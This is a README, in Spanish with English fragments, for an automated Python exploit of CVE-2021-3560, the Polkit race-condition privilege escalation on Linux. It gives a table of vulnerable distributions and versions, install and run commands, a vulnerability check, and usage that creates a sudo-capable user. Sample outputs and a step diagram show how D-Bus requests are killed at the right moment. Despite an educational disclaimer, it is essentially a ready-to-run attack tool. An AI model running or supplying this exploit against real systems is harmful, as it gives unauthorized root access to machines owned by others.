
Exploit para la vulnerabilidad CVE-2021-3560 de escalada de privilegios local en Polkit
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Un exploit automatizado para la vulnerabilidad CVE-2021-3560 que afecta a PolicyKit (Polkit) en sistemas Linux.
⚠️ ADVERTENCIA: Esta herramienta está destinada únicamente a fines educativos y de formación en ciberseguridad en un entorno de laboratorio controlado. El uso no autorizado de este exploit en sistemas que no posees es ilegal.
CVE-2021-3560 es una vulnerabilidad local de condición de carrera en PolicyKit (polkit) que permite a un usuario sin privilegios obtener privilegios de root en sistemas Linux vulnerables.
La vulnerabilidad afecta a dos ramas de Polkit con una numeración de versiones diferente:
bfa5036 (versión 0.113)f81d021 (versión 0.105-26)| Distribución | Versión de Polkit | ¿Vulnerable? |
|---|---|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Sí |
| Ubuntu 18.04 | 0.105-20 | ❌ No |
| Debian testing "bullseye" | 0.105-31+ | ✅ Sí |
| Debian 10 "buster" | 0.105-25 | ❌ No |
| RHEL 8 | 0.115-11+ | ✅ Sí |
| RHEL 7 | < 0.113 | ❌ No |
| Fedora 21+ | 0.113+ | ✅ Sí |
| Fedora 20 y anteriores | < 0.113 | ❌ No |
📝 Nota: Los sistemas con parches de seguridad aplicados (p. ej., ubuntu1.1, deb10u1) no son vulnerables.
El exploit requiere las siguientes herramientas (se verifican automáticamente):
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
Comprueba si el sistema es vulnerable sin ejecutar el exploit:
python3 CVE-2021-3560_Polkit.py --check
Ejemplo de salida:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
Crea un usuario privilegiado:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
Ejemplo:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
El exploit aprovecha una condición de carrera en PolicyKit durante el procesamiento de solicitudes de D-Bus.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝